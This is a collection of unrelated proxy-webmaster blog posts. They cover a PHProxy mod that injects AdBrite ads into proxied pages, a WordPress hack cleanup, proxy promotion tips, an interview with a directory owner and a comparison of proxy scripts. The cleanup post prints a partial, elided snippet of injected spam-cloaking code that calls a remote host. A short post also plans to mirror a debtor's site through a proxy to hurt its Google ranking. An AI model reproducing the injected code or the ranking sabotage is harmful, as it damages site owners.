Web Proxy Blog

There’s lots of well meaning advice out there on how to add an Adbrite Zone to the footer of proxified pages but I’ve spent a whole evening getting it to work on a phpproxy 0.5 based proxy server.

The often repeated advice out there is flawed and/or out of date - but we do have a solution for you. Let’s step back a bit first.

We’re running an Adbrite Zone on our YouTube Proxy as an alternative to Adsense and have been doing so for a week. With it being the Christmas period and traffic being so low, but I’m busy at work and this was the only chance I’ve had to give it a try. So far the clickthru’s are better but the payout is awful - less than Adsense even!!

Anyway, one advantage of Adbrite is that you can place the ads on proxified pages without breaking their terms of service.

Great, so I set up a Zone with a 780×90 zone and tried pasting the code as recommended previously in Web Proxy forums and on other sites. All I got on index.php was a blank page.

The advice given was;

If you wann put ads at the bottom of your proxy pages use this code:

Code:

$pattern = "#</body>#i";
preg_match($pattern,$_response_body, $matches);
$_response_body = preg_replace($pattern, '
<center>
<!-- BEGIN STANDARD TAG - 728 x 90 - ROS: Run-of-site - DO NOT MODIFY -->
<!-- END TAG -->
</center></body>', $_response_body); //the replace function

this code goes in your index.php file (phproxy) & after this line $_response_keys['content-length'] = ‘Content-Length’;

When I tried this with my Adsense code inserted I got a blank page.

Firstly, the advice didn’t mention that there were two instances $_response_keys['content-length'] = ‘Content-Length’; code - you have to paste the code after the second instance of the code in your index.php file.

The second problem is that Adbrite are no longer using plain text for their Ads, but are using more complex code that features quotes eg ‘

That causes a problem in php code because single quotes or apostrophes are programming variables, or reserved characters if you like, so that they need to be escaped with a slash or \

In other words if you want to add the HTML code;

var AdBrite_Title_Color = ‘0000FF’;

you have to insert it in php as;

var AdBrite_Title_Color = \’0000FF\’;

Simply, escape all quotes and the code (see below) will work! We’ll report back on earnings in a month or so.

Working code to insert Adbrite banner ads on the footer or proxified pages (phpproxy 0.5);

// Mod starts
$pattern = “#</body>#i”;
preg_match($pattern,$_response_body, $matches);
$_response_body = preg_replace($pattern, ‘<center><!– BEGIN STANDARD TAG - 728 x 90 - ROS: Run-of-site - DO NOT MODIFY –>
<!– Begin: AdBrite, Generated: 2008-12-29 15:01:14 –>
<script type=”text/javascript”>
var AdBrite_Title_Color = \’0000FF\’;
var AdBrite_Text_Color = \’000000\’;
var AdBrite_Background_Color = \’FFFFFF\’;
var AdBrite_Border_Color = \’CCCCCC\’;
var AdBrite_URL_Color = \’008000\’;
try{var AdBrite_Iframe=window.top!=window.self?2:1;var AdBrite_Referrer=document.referrer==\’\'?document.location:document.referrer;AdBrite_Referrer=encodeURIComponent(AdBrite_Referrer);}catch(e){var AdBrite_Iframe=\’\';var AdBrite_Referrer=\’\';}
</script>
<span style=”white-space:nowrap;”><script type=”text/javascript”>document.write(String.fromCharCode(60,83,67,82,73,80,84));document.write(\’ src=”http://ads.adbrite.com/mb/text_group.php?sid=979382&zs=3732385f3930&ifr=\’+AdBrite_Iframe+\’&ref=\’+AdBrite_Referrer+\’” type=”text/javascript”>\’);document.write(String.fromCharCode(60,47,83,67,82,73,80,84,62));</script>
<a target=”_top” href=”http://www.adbrite.com/mb/commerce/purchase_form.php?opid=979382&afsid=1″><img src=”http://files.adbrite.com/mb/images/adbrite-your-ad-here-leaderboard.gif” style=”background-color:#CCCCCC;border:none;padding:0;margin:0;” alt=”Your Ad Here” width=”14″ height=”90″ border=”0″ /></a></span>
<!– End: AdBrite –>
</center></body>’, $_response_body);
// the replace function
//mod ends

Well as you can see, the Web Proxy Blog is back online despite the best efforts of a particularly mean set of hacks that we want to share with you to help you fix your problems and secondly to help prevent people making the same mistakes using WordPress that we did.

Firstly, this was a multiple hack across many different domains and blogs, though they all had a few things in common;

They were all run/updated from a computer that was infected with with worms, backdoors, trojans and goodness know what else. Keep your antivirus software up to date!

Secondly, they were all WordPress blogs that should have been updated. The oldest was version 2.0 and the latest was WP 2.63. We would have thought that the WordPress 2.6.3 and 2.5 installations would have been safe, but this hack is fairly new.

Finally, all the blogs were on Dreamhost. Could be a coincidence - we would be interested in hearing your comments.

The hacks manifested in a number of ways, but they all looked fine in a browser but had dozens hidden links at the bottom of each blog post. It’s only when I looked through the source code, or switched off the CSS that the links could be seen. Most of the links were real estate or lindsay lohan screensavers or something!

Another thing that was noticeable was that there were strange new files and folders in the blogs eg;
/blog/wp-includes/js/tinymce/themes/advanced/images/xp

In these directories I found files with strange filenames eg. 05417e755b378ea9a91fdbe7f71712ce. These files contained links that were appearing in the footer.

Another thing I noticed was that the wp-blog-header.php file was much larger than the original and had strange coding in it;

/* r_start */
$rurl=”http://sattan.org/feed/search.php?q=”;
$rkeys=array(”buy tramadol”,”tramadol”,”tramadol online”,”soma”,”auto insurance”,”car insurance”,”backing up files”,”car insurance quote”,”auto insurance quotes”,”auto insurance company”,”auto insurance quote”,”fioricet”,”insurance quotes”,…………………….. religion”);
$ips=unserialize(base64_decode(”YTo3OntpOjA7czoxMjoiODEuMTc3LjI2LjIwIjtpOjE7czoxMzoiNjYuMjQ5LjEzLjE1NiI7aToyO3M6MTM6IjY2LjI0OS4xNC4xNDQiO2k6MztzOjEzOiI2Ni4yNDkuMTQuMTQzIjtpOjY7czoxNDoiMjA5LjU5LjIwMS4yMzYiO2k6NztzOjEzOiI2Ni4yNDkuMTAuMTQyIjtpOjExO3M6MTE6IjcyLjI5Ljc0LjExIjt9″));
$_ip=false; if(is_array($ips)) foreach($ips as $ip) if($ip==$_SERVER['REMOTE_ADDR']){ $_ip=true; break; }
if(sizeof($_COOKIE)==0 && $_ip==false && ……………………..

………..
exit;

There was also some strange coding in the template footer.php file with a 1,000 character long, Base64 string that collected spam links from www.spamreport.ru.

I also found a backdoor file, remv.php, in the root of the WordPress themes directory.

Anyway, I didn’t fancy cleaning up that mess so I decided to make a backup via ftp, delete the old files and so a completely fresh WordPress install. The only problem was that the hack seemed to have changed the folder permissions from 755 to 555, which meant that we couldn’t delete our own files!

That was easy enough to fix; setting the attributes back to their proper value, but we did notice a few files and folders that had been modified to 777 (ie read/write/execute permission) confirming our suspicion that this was a mean hack and that the best way to fix it would be to delete everything and start with a fresh installation.

The good news is that once we had done this the blogs were back to normal, with the exception of the pre WordPress 2.2 blogs that had their character set altered so that pound signs, foreign letters etc were garbled with “Ä ±” or similar. Removing these two lines from the wp-config.php fixed this;

define(’DB_CHARSET’, ‘utf8′);
define(’DB_COLLATE’, ”);

You don’t need these two lines if you are upgrading from pre WP 2.2 versions because the character sets are already built into the blog.

As a final precaution I reset the MySQL database table password and the WP admin password for good measure. We also reset the ftp password because I suspect this was a hack across so many levels that just about every one of my usernames and passwords has been compromised.

So, that’s how I spent most of my Sunday! Anyone have similar experiences, shortcuts etc. they want to share?

It’s been said that a proxy mirror can mess a site up beyond belief in Google. I’m not sure but I have someone who owes us a substantial amount of money so we’re going to test this theory.

We’re going to create a mirror site on a proxy. The proxified site has a P R 3, the target site has a P R two.

If there’s a proxy issue in Google still, then our www.liveoxy.com will rank for searches that used to rank for the guy who still owes us money.

Let’s see!

The schools are off so hopefully you’ve got enough profit to still afford those servers when probably a large majority of your traffic is going to decrease. I’m not too worried but im prepared for my adsense earnings to plummet. Good ways to counteract the school kids defecit is by going for the likes of office workers.

• Set up a proxy specifically for office workers

• Do some SEO before its too late

• Keep some of your decent earnings from other months through this summer

Not long till i post up the end of month stats, I’ve made more than $300 if anybody cares to know

Im going to run off a quick list off sites or ideas to promote your proxy, pick a few, explore what to do then go and do it:

• Squidoo
• Digg
• Hubpages
• StumbleUpon
• EzineArticles
• USFreeAds
• SEO
• PPC
• Writing Content
• Forum Signatures
• Email Marketing
• Word of Mouth

Go, Go, Go!

Chad is the owner of SweetProxies, a much more enjoyable approach to proxy lists and management, a site I wouldnt mind having thought up myself. I asked Chad a few questions about his newly launched venture…

Glen: So Chad, you run and own SweetProxies.com, can you tell us a little about the site?
Chad: SweetProxies is a new proxy directory that is unique in many ways. It is a collection of php/cgi proxies, topsites, resources, and other directory sites.The initial goal or aim of the project was to have a primarily user-driven site that allowed for the collection of proxies to be easily expanded upon and affected by the users of the site, whether it be through adding or reporting sites, rating them, flagging certain sites as their top choices, etc. While sites like topsites or static proxy lists (such as proxy.org) have very little user-driven content, SweetProxies takes an approach similar to that of Digg and StumbleUpon.

Glen: You mention ratings, top choices etc. Is this one of the ways you tried to make Sweet Proxies unique?
Chad: The approach allows a more fair exposure of all sites submitted into the system, because with Proxies; sites that have high traffic and have been around for a long time are not necessarily the best. The more traffic, the slower the proxy tends to be. Also, the more popular; the higher the chance that it will be blocked by filters. With proxies, the ability to get fresh, new links is important. SweetProxies helps by randomizing links so everyone gets a balance chance of being featured, while also maintaining the ’social’ aspects such as the 5-star ratings and ’sweetness’ level (which is how many times the particular site has been added to a user’s favorites list).These other social aspects allow for users to quickly pick out which sites are best, and find what they are looking for.

Glen: So then, its clear that the visitors get a lot out of the proxies, finding the best for their needs. But what about the Webmasters, the proxy owners themselves
Chad: Proxy webmasters are given the ability to submit their sites to the directory under the category that best describes their site. Submissions are first automatically verified by the system, and then put into a cue to be manually checked for integrity (we look at the proxy site to ensure it works, is fast, etc). The site is then approved and added to the homepage listings. The process is usually completed within 24 hours. It is encouraged that webmasters link back to us (via link or button) but it isn’t required. Adding a button obviously helps promote their site (attracting users to visit SP and vote/rate/sweeten them). We also do button/link exchanges if webmasters are interested.

Similar to on proxy.org and other proxy lists, webmasters have the ability to make their proxy stand out from the rest by pay a small fee and ‘highlighting’ their link which puts it in a bold yellow box. There is also the option of upgrading to a PRO link in which the link appears in the top left column of every page (always seen by the user). Overall, webmasters are looking for proxy exposure and backlinks. By submitting to directories such as SweetProxies not only is it a great way for free traffic (and it only takes a second to submit), but it help you to build up a rating and get hits without needing to bring in crazy referral traffic like topsites require.To submit a site you don’t even need to register a new account, you can submit sites a guest as well as view the listings. Registration is only required if you’d like to rate/sweeten sites or build up a proxy favorites list (known as your ’sweets jar’).

Glen: With the recent Clickbot issues surrouding Proxy.org, how can you protect the proxy owners from this type of activity affecting their Earnings Channels?
Chad: This news surrounding Proxy.org is very serious, as proxy webmasters are very dependant on their adsense accounts and revenue coming from adsense. SweetProxies will not tolerate any sort of ‘bot’ activity on our site that is unauthorized. While this issue is hard to circumvent since the bot operated by visiting regular hyperlinks (of which need to be accessable to regular users) SweetProxies has taken a preemptive step by blocking certain bots server-side.

We will also offer any site the ability, by contacting us, to turn off direct linking to their site and force the user to view their site via the ajax popup window option only. The only alternative we have to this would be to put a human-recognizing system such as CAPTCHA. I think we’re safe from this issue for now, and if something does occur in the future feel free to contact SweetProxies at any time via our clearly visible contact page and let us know of any suspicious activity. While we do monitor our logs for bot activity, our members are our most powerful resource for catching these things. That’s the power of having social user-driven sites!

To clarify; SweetProxies does NOT have any intentions to artificially increase perceived traffic or run bots on our site. We do not run any sort of advertising or promotions that are PPC or per page view. We also do not run Adsense on the site.

Glen: Sweet Proxies seems like a great alternative to Proxy.org, how did you choose the name?
Chad: I bought the name back in August of last year, it seemed to suit the vision of the site because it sounded fresh, it was catchy, and it wasn’t taken! I didn’t have a chance to actually build up the site I had envisioned until two months ago when development started.

Glen: OK Chad, thanks for your time and good luck with the site, expect some promotion and submissions from us
Chad: Thanks and good luck with your blog!

CGI Proxy

Website Description: This CGI script acts as an HTTP or FTP proxy. Through it, you can retrieve any resource that is accessible from the server it runs on. This is useful when your own access is limited, but you can reach a server that in turn can reach others that you can’t. In addition, the user is kept as anonymous as possible from any servers. Common uses include: anonymous proxies similar to The Anonymizer, other personal uses, VPN-like functionality, and others. It’s very simple to install, and very configurable.

When an HTML resource is retrieved, it’s modified so that all links in it point back through the same proxy, including images, form submissions, and everything else. Once you’re using the proxy, you can browse normally and (almost) forget it’s there

Advantages:
Uses up less bandwidth than PHProxy
Quick and easy to setup
Simple to use, just upload the files, type in the web address and go
Allows login to most websites

Disadvantages:
Uses a lot of CPU Processing power
Need a server that can run the CGI Proxy (may need to be configured whereas most Linux servers have PHP automatically)

If Im honest I’ve never fully utilized this proxy and some of the disadvantages may not be fully true as they are not from personal experience just from “the talk of the web”. Give it a try and see what you think.

Some others

Of course there are other scripts out there, heres some links to others you may want to check out:

PHP Proxy Script

Zelune Script

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I’m going to be honest here and let you know that there are only 2 commonly used proxy scripts and they are PHProxy and CGIProxy, basically one of them is a PHP Proxy and the other is a CGI proxy if you can’t tell from the names. They both have their advantages and disadvantages so here’s to looking at them to help you decide which to use, but first things first and here’s the good news:

They’re both free

PHProxy
Website Description: PHProxy is a Web HTTP proxy programmed in PHP to bypass firewalls and other proxy restrictions through a Web interface very similar to the popular CGIProxy. School/country/company blocked your favorite Website? Look no further! The server that this script runs on simply acts as a medium that retrieves resources for you. The only IP address shown will be the server’s IP address. So basically, it is indirect browsing. The only catch being that the server has to have access to those otherwise inaccessible resources.

Advantages:

Completely free, just a download required
Setup in minutes, just upload the files to your server and its ready to use
Has lots of themes available Free on the internet
Well known and simple to use

Disadvantages:

Uses up a lot of bandwidth
Default theme is pretty ugly
Cant login to certain websites
Checkboxes are not that simple to remove

PHProxy is what I use on all of my websites (proxies) and it has done me no harm or had any real issues. The only thing I don’t like about it is the checkboxes and the fact there’s no quick solution to removing them and I couldn’t really find a decent guide on the internet so something I’m going to have to look into more. Just because I use PHProxy doesn’t mean you have too so here’s a look at CGI Proxy on the following Post.